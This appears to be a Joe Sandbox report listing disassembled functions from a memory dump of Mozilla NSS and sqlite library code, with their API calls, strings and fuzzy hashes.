Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61ED9E
Part of subcall function 6C61ED70: DeleteCriticalSection.KERNEL32(?), ref: 6C61EDA4

PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5F8F
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FCC
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FD3
DeleteCriticalSection.KERNEL32(00000001,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FF4
free.MOZGLUE(?,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B5FFB
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6019
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6C6BAADB,?,?,?,?,?,?,?,?,00000000,?,6C6B80C1), ref: 6C6B6036

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalDeleteSection$DestroyMonitor$free
String ID:
API String ID: 227462623-0
Opcode ID: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction ID: afb2aa26df23ceb7e58142cfa93b926d199fd9e8900df2c8f0cc525a24e9f40e
Opcode Fuzzy Hash: 3960ace481856d201b58166893985441e78a632deb6f1c23a4f28f10fda51ebc
Instruction Fuzzy Hash: 2F211DF5A04B049BEA119F75D808BD7B7F8AB4570DF14092CE45A97A40D736E018CBA5

Function 6C623C90 Relevance: 12.1, APIs: 8, Instructions: 60COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?,?,?,6C69460B,?,?), ref: 6C623CA9
EnterCriticalSection.KERNEL32(?), ref: 6C623CB9
PL_HashTableLookup.NSS3(?), ref: 6C623CC9
SECITEM_DupItem_Util.NSS3(00000000), ref: 6C623CD6
PR_Unlock.NSS3 ref: 6C623CE6
CERT_FindCertByDERCert.NSS3(?,00000000), ref: 6C623CF6
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C623D03
PR_Unlock.NSS3 ref: 6C623D15

Part of subcall function 6C6CDD70: TlsGetValue.KERNEL32 ref: 6C6CDD8C
Part of subcall function 6C6CDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C6CDDB4

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CertCriticalItem_SectionUnlockUtilValue$EnterFindHashLeaveLookupTableZfree
String ID:
API String ID: 1376842649-0
Opcode ID: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction ID: 9e2543a7187c5dc0ca8830828d423ac944374ac63f952f20e2b9f2d5bb4e5d1f
Opcode Fuzzy Hash: 521d74ecfe2d385473a61c2ee739d1c86e8f91efc2f0ba23a8fdeb91b807ae13
Instruction Fuzzy Hash: 7B1129B6E41105A7DB011624AC05CAA3ABCEB0335EB290530ED1893B11FB32D9589BE9

Function 6C629C50 Relevance: 10.8, APIs: 7, Instructions: 253stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6411C0: PR_NewLock.NSS3 ref: 6C641216

free.MOZGLUE(?), ref: 6C629E17
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E25
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C629E4E
TlsGetValue.KERNEL32 ref: 6C629EA2

Part of subcall function 6C639500: memcpy.VCRUNTIME140(00000000,?,00000000,?,?), ref: 6C639546

EnterCriticalSection.KERNEL32(?), ref: 6C629EB6
PR_Unlock.NSS3 ref: 6C629ED9
PR_SetError.NSS3(FFFFE08A,00000000), ref: 6C629F18

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: strlen$CriticalEnterErrorLockSectionUnlockValuefreememcpy
String ID:
API String ID: 3381623595-0
Opcode ID: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction ID: 4b4a9a8f23674efd48a6279be3bfdd2c2763597be8a46c43eb7363a7b8eb203a
Opcode Fuzzy Hash: 2e80bf803100155fd9f44f7971c51255122d753d170a31008529cbb2f5154c57
Instruction Fuzzy Hash: A3810871A00601ABE7109F34DC40AEB77E5BF8634CF145528EC8987B51FB35E855CBA9

Function 6C63DCB0 Relevance: 10.7, APIs: 7, Instructions: 245stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(D958E852,6C641397,5B5F5EC0,?,?,6C63B1EE,2404110F,?,?), ref: 6C63AB3C
Part of subcall function 6C63AB10: free.MOZGLUE(D958E836,?,6C63B1EE,2404110F,?,?), ref: 6C63AB49
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(5D5E6C83), ref: 6C63AB5C
Part of subcall function 6C63AB10: free.MOZGLUE(5D5E6C77), ref: 6C63AB63
Part of subcall function 6C63AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C63AB6F
Part of subcall function 6C63AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C63AB76

TlsGetValue.KERNEL32 ref: 6C63DCFA
EnterCriticalSection.KERNEL32(00000000), ref: 6C63DD0E
PK11_IsFriendly.NSS3(?), ref: 6C63DD73
PK11_IsLoggedIn.NSS3(?,00000000), ref: 6C63DD8B
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C63DE81
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C63DEA6
PR_Unlock.NSS3(?), ref: 6C63DF08

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Deletefree$K11_$EnterFriendlyLoggedUnlockValuememcpystrlen
String ID:
API String ID: 519503562-0
Opcode ID: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction ID: c4e645abd2de4fe0d27f52b7ae7d4da9798789e617e2f5226788902220b8230e
Opcode Fuzzy Hash: c7a1a00d42e3902e066f86a658a81af744641d6c1fa9c6606d4e93972442d924
Instruction Fuzzy Hash: BD91E6B5A001159FDB01CF68C880BAABBF5FF45308F15A029DC1D9B752EB31E916CB99

Function 6C5F5FC0 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 230COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000293F4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60AB
sqlite3_config.NSS3(00000004,6C744CA4,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F60EB
sqlite3_config.NSS3(00000012,6C744CC4,?,?,6C6DBB62,00000004,6C744CA4,?,?,00000000,?,?,6C5B31DB), ref: 6C5F6122

Strings

%s at line %d of [%.10s], xrefs: 6C5F60A4
misuse, xrefs: 6C5F609F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5F6095

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_config$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse
API String ID: 1634735548-648709467
Opcode ID: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction ID: d0123630c17adb9fb2390a7671cbf806feafe633f45c7a1cf8ba4905f20c7c4e
Opcode Fuzzy Hash: 7790f45ddee7197b007cb7f9d899921c06aa613f8fdafac0d842cae944820a34
Instruction Fuzzy Hash: 77B16574E0475ECFCB09CF58C6449A9B7F0FB1E304B258569D509AB321DB30AA45CFA5

Function 6C5A4F60 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 211stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5A4FC4
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,0002996C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5A51BB

Strings

%s at line %d of [%.10s], xrefs: 6C5A51B4
misuse, xrefs: 6C5A51AF
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5A51A5
unable to delete/modify user-function due to active statements, xrefs: 6C5A51DF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: sqlite3_logstrlen
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify user-function due to active statements
API String ID: 3619038524-4115156624
Opcode ID: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction ID: 1247f700d9dd7bcdd6f14d8333a180e53649c3a0e4f1582ee91c40948184a241
Opcode Fuzzy Hash: 48cbce6bbd27cb405e648afa8296064d0506712b8843cf3c23843231a6d97fbd
Instruction Fuzzy Hash: 31719CB1604609DBEB00CEA7DD80FAE77B5BB48308F544524FE199BB81D731E952CBA1

Function 6C68FF10 Relevance: 10.7, APIs: 7, Instructions: 164memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF4B
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF6F
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF81
PORT_ArenaAlloc_Util.NSS3(00000000,-000000F8,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FF8D
memset.VCRUNTIME140(00000000,00000000,-000000F8,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C68FFA3
SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,6C68F165,6C75219C,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C68FFC8
PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,00000000,00000000,?,6C68F165,?), ref: 6C6900A6

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaArena_memset$EncodeFreeItem_
String ID:
API String ID: 204871323-0
Opcode ID: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction ID: 4da11e184f531e015fdd451134eac73f31efc00e2ec6f7fc35f43f0fd33fc462
Opcode Fuzzy Hash: 7f636fcf700fb2414af5496735e1f370b99ff94d36b9d0173846d571bc0684e9
Instruction Fuzzy Hash: 01510371E052569FDB108E59C8807AEB7B5FF4D318F280229DC59A7B40D732AC00CBE9

Function 6C64DEF0 Relevance: 10.7, APIs: 7, Instructions: 159COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C64DF37
EnterCriticalSection.KERNEL32(?), ref: 6C64DF4B
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C64DF96
PR_SetError.NSS3(00000000,00000000), ref: 6C64E02B
PR_Unlock.NSS3(?), ref: 6C64E07E
PR_SetError.NSS3(FFFFE001,00000000), ref: 6C64E090
PR_Unlock.NSS3(?), ref: 6C64E0AF

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Error$Unlock$CriticalEnterSectionValue
String ID:
API String ID: 4073542275-0
Opcode ID: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction ID: 65704b5e3c89cd7c654c7e0bd3fb12c90fafbfe617e559c97588b7dbeae69d8b
Opcode Fuzzy Hash: 78699d35bcac37eab9f0ab9fe7c7f1a8c083e7df0fea4612c3d118eab18f49d4
Instruction Fuzzy Hash: 1651AF31A00600DFEB20DF24D844B96B3B5FF45719F20C529E9AA47BA1D735E858CB9A

Function 6C64BCF0 Relevance: 10.6, APIs: 7, Instructions: 142memoryCOMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C64BD1E

Part of subcall function 6C622F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C622F0A
Part of subcall function 6C622F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C622F1D

Part of subcall function 6C6657D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C62B41E,00000000,00000000,?,00000000,?,6C62B41E,00000000,00000000,00000001,?), ref: 6C6657E0
Part of subcall function 6C6657D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C665843

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C64BD8C

Part of subcall function 6C67FAB0: free.MOZGLUE(?,-00000001,?,?,6C61F673,00000000,00000000), ref: 6C67FAC7

CERT_DestroyCertList.NSS3(00000000), ref: 6C64BD9B
SECITEM_AllocItem_Util.NSS3(00000000,00000000,00000008), ref: 6C64BDA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE3A

Part of subcall function 6C623E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C623EC2
Part of subcall function 6C623E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C623ED6
Part of subcall function 6C623E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C623EEE
Part of subcall function 6C623E60: PR_CallOnce.NSS3(6C782AA4,6C6812D0), ref: 6C623F02
Part of subcall function 6C623E60: PL_FreeArenaPool.NSS3 ref: 6C623F14
Part of subcall function 6C623E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C623F27

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C64BE52

Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C622CDA,?,00000000), ref: 6C622E1E
Part of subcall function 6C622E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C622E33
Part of subcall function 6C622E00: TlsGetValue.KERNEL32 ref: 6C622E4E
Part of subcall function 6C622E00: EnterCriticalSection.KERNEL32(?), ref: 6C622E5E
Part of subcall function 6C622E00: PL_HashTableLookup.NSS3(?), ref: 6C622E71
Part of subcall function 6C622E00: PL_HashTableRemove.NSS3(?), ref: 6C622E84
Part of subcall function 6C622E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C622E96
Part of subcall function 6C622E00: PR_Unlock.NSS3 ref: 6C622EA9

PR_SetError.NSS3(FFFFE013,00000000), ref: 6C64BE61

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Util$Item_$Zfree$ArenaHashTable$CertListPoolfree$AllocAlloc_Arena_CallCopyCriticalDecodeDestroyEnterErrorFreeInitK11_LookupOnceQuickRemoveSectionTokensUnlockValue
String ID:
API String ID: 2178860483-0
Opcode ID: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction ID: 73a95325c04b1558ade71b9b4fb283d0ed2006d9e6d80a23b34f78376ebfc29d
Opcode Fuzzy Hash: fdeda2f5e3fe12f4592c6016aed9e413b5619de390dc72ba8a874821ad5d3591
Instruction Fuzzy Hash: 3541D575A00610AFC710CF28DC80E5A77E4EF86718F10C568F95997711E731ED15CBAA

Function 6C66AC10 Relevance: 10.6, APIs: 7, Instructions: 121memoryCOMMON

Download Yara Rule

APIs

PK11_CreateContextBySymKey.NSS3(00000133,00000105,00000000,?,?,6C66AB3E,?,?,?), ref: 6C66AC35

Part of subcall function 6C64CEC0: PK11_FreeSymKey.NSS3(00000000), ref: 6C64CF16

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6C66AB3E,?,?,?), ref: 6C66AC55

Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C6810F3
Part of subcall function 6C6810C0: EnterCriticalSection.KERNEL32(?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68110C
Part of subcall function 6C6810C0: PL_ArenaAllocate.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681141
Part of subcall function 6C6810C0: PR_Unlock.NSS3(?,?,?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C681182
Part of subcall function 6C6810C0: TlsGetValue.KERNEL32(?,6C628802,00000000,00000008,?,6C61EF74,00000000), ref: 6C68119C

PK11_CipherOp.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E,?,?), ref: 6C66AC70

Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E33C
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E350
Part of subcall function 6C64E300: PR_Unlock.NSS3(?), ref: 6C64E5BC
Part of subcall function 6C64E300: PK11_GenerateRandom.NSS3(00000000,00000008), ref: 6C64E5CA
Part of subcall function 6C64E300: TlsGetValue.KERNEL32 ref: 6C64E5F2
Part of subcall function 6C64E300: EnterCriticalSection.KERNEL32(?), ref: 6C64E606
Part of subcall function 6C64E300: PORT_Alloc_Util.NSS3(?), ref: 6C64E613

PK11_GetBlockSize.NSS3(00000133,00000000), ref: 6C66AC92
PK11_DestroyContext.NSS3(?,00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66AB3E), ref: 6C66ACD7
PORT_Alloc_Util.NSS3(?), ref: 6C66AD10
memcpy.VCRUNTIME140(00000000,?,FF850674), ref: 6C66AD2B

Part of subcall function 6C64F360: TlsGetValue.KERNEL32(00000000,?,6C66A904,?), ref: 6C64F38B
Part of subcall function 6C64F360: EnterCriticalSection.KERNEL32(?,?,?,6C66A904,?), ref: 6C64F3A0
Part of subcall function 6C64F360: PR_Unlock.NSS3(?,?,?,?,6C66A904,?), ref: 6C64F3D3

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: K11_$Value$CriticalEnterSection$Alloc_UnlockUtil$ArenaContext$AllocateBlockCipherCreateDestroyFreeGenerateRandomSizememcpy
String ID:
API String ID: 2926855110-0
Opcode ID: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction ID: 4a42982557a02c0e0eac3f5df7303663cc7fd8b7f93f32373fbd7d3cd9073013
Opcode Fuzzy Hash: f831ea5c2e64ffbd7cc72e1052a0e5256653306156d3de472404a83d5402849f
Instruction Fuzzy Hash: 6A3129B1E002295FEB009F26CC409AF77A6AF8571CB188128E81557B41EB31DD15C7AA

Function 6C648C70 Relevance: 10.6, APIs: 7, Instructions: 110stringCOMMON

Download Yara Rule

APIs

PR_Now.NSS3 ref: 6C648C7C

Part of subcall function 6C6E9DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DC6
Part of subcall function 6C6E9DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C730A27), ref: 6C6E9DD1
Part of subcall function 6C6E9DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C6E9DED

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C648CB0
TlsGetValue.KERNEL32 ref: 6C648CD1
EnterCriticalSection.KERNEL32(?), ref: 6C648CE5
PR_Unlock.NSS3(?), ref: 6C648D2E
PR_SetError.NSS3(FFFFE00F,00000000), ref: 6C648D62
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C648D93

Memory Dump Source

Source File: 00000000.00000002.2648099910.000000006C5A1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.2647602226.000000006C5A0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649682543.000000006C73F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649782133.000000006C77E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2649965244.000000006C77F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650545656.000000006C780000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2650882995.000000006C785000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$ErrorSystem$CriticalEnterFileSectionUnlockUnothrow_t@std@@@Value__ehfuncinfo$??2@strlen
String ID:
API String ID: 3131193014-0
Opcode ID: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction ID: f9966b4d9b1da319804c095abcc1fcb01f56ea10c43a1bfb63947d7a3dd2bacb
Opcode Fuzzy Hash: 9dd8e70adfab0ed937145bf87793553f46157f8fba5deff1770d92a3ecea0147
Instruction Fuzzy Hash: 60314871E02205AFD7009F68DC447DAB7B4FF49318F248136EA19A7B60D770A924C7D9

Function 6C689D60 Relevance: 10.6, APIs: 7, Instructions: 108memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,00000000,?,?,00000000,?,6C689C5B), ref: 6C689D82

Part of subcall function 6C6814C0: TlsGetValue.KERNEL32 ref: 6C6814E0
Part of subcall function 6C6814C0: EnterCriticalSection.KERNEL32 ref: 6C6814F5
